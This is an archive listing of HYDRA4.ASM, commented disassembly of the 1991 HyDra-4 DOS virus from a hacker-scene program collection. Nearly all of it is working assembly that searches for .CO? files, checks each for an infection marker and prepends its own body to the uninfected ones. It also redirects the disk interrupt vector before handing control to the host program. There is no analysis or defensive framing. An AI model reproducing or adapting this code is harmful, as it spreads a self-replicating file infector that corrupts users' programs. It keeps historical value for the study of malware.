home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / HYDRA4.ASM < prev    next >
Assembly Source File  |  1992-10-11  |  4KB  |  164 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    HYDRA4                         ██
  7. ;██                                         ██
  8. ;██      Created:   28-Aug-91                             ██
  9. ;██      Passes:    5           Analysis Options on: AW                 ██
  10. ;██      Copyright (c)                                 ██
  11. ;██                                         ██
  12. ;██████████████████████████████████████████████████████████████████████████
  13.  
  14. psp_cmd_size    equ    80h
  15. data_11e    equ    100h
  16. data_12e    equ    154h
  17. data_13e    equ    157h
  18. data_14e    equ    232h
  19. data_15e    equ    254h
  20.  
  21. seg_a        segment    byte public
  22.         assume    cs:seg_a, ds:seg_a
  23.  
  24.  
  25.         org    100h
  26.  
  27. hydra4        proc    far
  28.  
  29. start:
  30.         jmp    loc_1
  31.         pop    cx
  32.         inc    sp
  33.         add    [bx+si],al
  34. data_3        db    'HyDra-4   Beta - Not For Release'
  35.         db    '. *.CO?'
  36.         db    0
  37. data_6        dw    0, 8B39h
  38. data_8        dw    0
  39. data_9        db    0
  40.         db    29 dup (0)
  41. data_10        db    0
  42.         db    13 dup (0)
  43. copyright    db    'Copyright (c)'
  44.         db    '  1991 by C.A.V.E.  '
  45. loc_1:
  46.         push    ax
  47.         mov    ax,cs
  48.         add    ax,1000h
  49.         xor    di,di            ; Zero register
  50.         mov    cx,154h
  51.         mov    si,100h
  52.         mov    es,ax
  53.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  54.         mov    ah,1Ah
  55.         mov    dx,offset data_9
  56.         int    21h            ; DOS Services  ah=function 1Ah
  57.                         ;  set DTA(disk xfer area) ds:dx
  58.         mov    ah,4Eh            ; 'N'
  59.         mov    dx,offset data_3+22h    ; ('*')
  60.         int    21h            ; DOS Services  ah=function 4Eh
  61.                         ;  find 1st filenam match @ds:dx
  62.         jc    loc_5            ; Jump if carry Set
  63. loc_2:
  64.         mov    ah,3Dh            ; '='
  65.         mov    al,2
  66.         mov    dx,offset data_10
  67.         mov    al,2
  68.         int    21h            ; DOS Services  ah=function 3Dh
  69.                         ;  open file, al=mode,name@ds:dx
  70.         mov    bx,ax
  71.         push    es
  72.         pop    ds
  73.         mov    ax,3F00h
  74.         mov    cx,0FFFFh
  75.         mov    dx,data_12e
  76.         int    21h            ; DOS Services  ah=function 3Fh
  77.                         ;  read file, bx=file handle
  78.                         ;   cx=bytes to ds:dx buffer
  79.         add    ax,154h
  80.         mov    cs:data_8,ax
  81.         cmp    word ptr ds:data_13e,4459h
  82.         jne    loc_3            ; Jump if not equal
  83.         mov    ah,3Eh            ; '>'
  84.         int    21h            ; DOS Services  ah=function 3Eh
  85.                         ;  close file, bx=file handle
  86.         push    cs
  87.         pop    ds
  88.         mov    ah,4Fh            ; 'O'
  89.         int    21h            ; DOS Services  ah=function 4Fh
  90.                         ;  find next filename match
  91.         jc    loc_6            ; Jump if carry Set
  92.         jmp    short loc_2
  93. loc_3:
  94.         xor    cx,cx            ; Zero register
  95.         mov    dx,cx
  96.         mov    ax,4200h
  97.         int    21h            ; DOS Services  ah=function 42h
  98.                         ;  move file ptr, bx=file handle
  99.                         ;   al=method, cx,dx=offset
  100.         jc    loc_4            ; Jump if carry Set
  101.         mov    ah,40h            ; '@'
  102.         xor    dx,dx            ; Zero register
  103.         mov    cx,cs:data_8
  104.         int    21h            ; DOS Services  ah=function 40h
  105.                         ;  write file  bx=file handle
  106.                         ;   cx=bytes from ds:dx buffer
  107. loc_4:
  108.         mov    ah,3Eh            ; '>'
  109.         int    21h            ; DOS Services  ah=function 3Eh
  110.                         ;  close file, bx=file handle
  111.         push    cs
  112.         pop    ds
  113. loc_5:
  114.         mov    ah,1Ah
  115.         mov    dx,psp_cmd_size
  116.         int    21h            ; DOS Services  ah=function 1Ah
  117.                         ;  set DTA(disk xfer area) ds:dx
  118.         jmp    short loc_7
  119.         nop
  120. loc_6:
  121.         push    dx
  122.         mov    ax,3540h
  123.         int    21h            ; DOS Services  ah=function 35h
  124.                         ;  get intrpt vector al in es:bx
  125.         mov    dx,bx
  126.         push    es
  127.         pop    ds
  128.         mov    ax,2513h
  129.         int    21h            ; DOS Services  ah=function 25h
  130.                         ;  set intrpt vector al to ds:dx
  131.         mov    ax,0
  132.         int    21h            ; DOS Services  ah=function 00h
  133.                         ;  terminate, cs=progm seg prefx
  134. loc_7:
  135.         xor    di,di            ; Zero register
  136.         mov    si,data_14e
  137.         mov    cx,22h
  138.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  139.         pop    bx
  140.         mov    cs:data_6,0
  141.         mov    word ptr cs:data_6+2,es
  142.         pop    bx
  143.         jmp    dword ptr cs:data_6
  144.         push    ds
  145.         pop    es
  146.         mov    cx,0FFFFh
  147.         mov    si,data_15e
  148.         mov    di,data_11e
  149.         sub    cx,si
  150.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  151.         mov    word ptr cs:[100h],100h
  152.         mov    word ptr cs:[102h],ds
  153.         mov    ax,bx
  154.         jmp    dword ptr cs:[100h]
  155.         int    20h            ; DOS program terminate
  156.  
  157. hydra4        endp
  158.  
  159. seg_a        ends
  160.  
  161.  
  162.  
  163.         end    start
  164.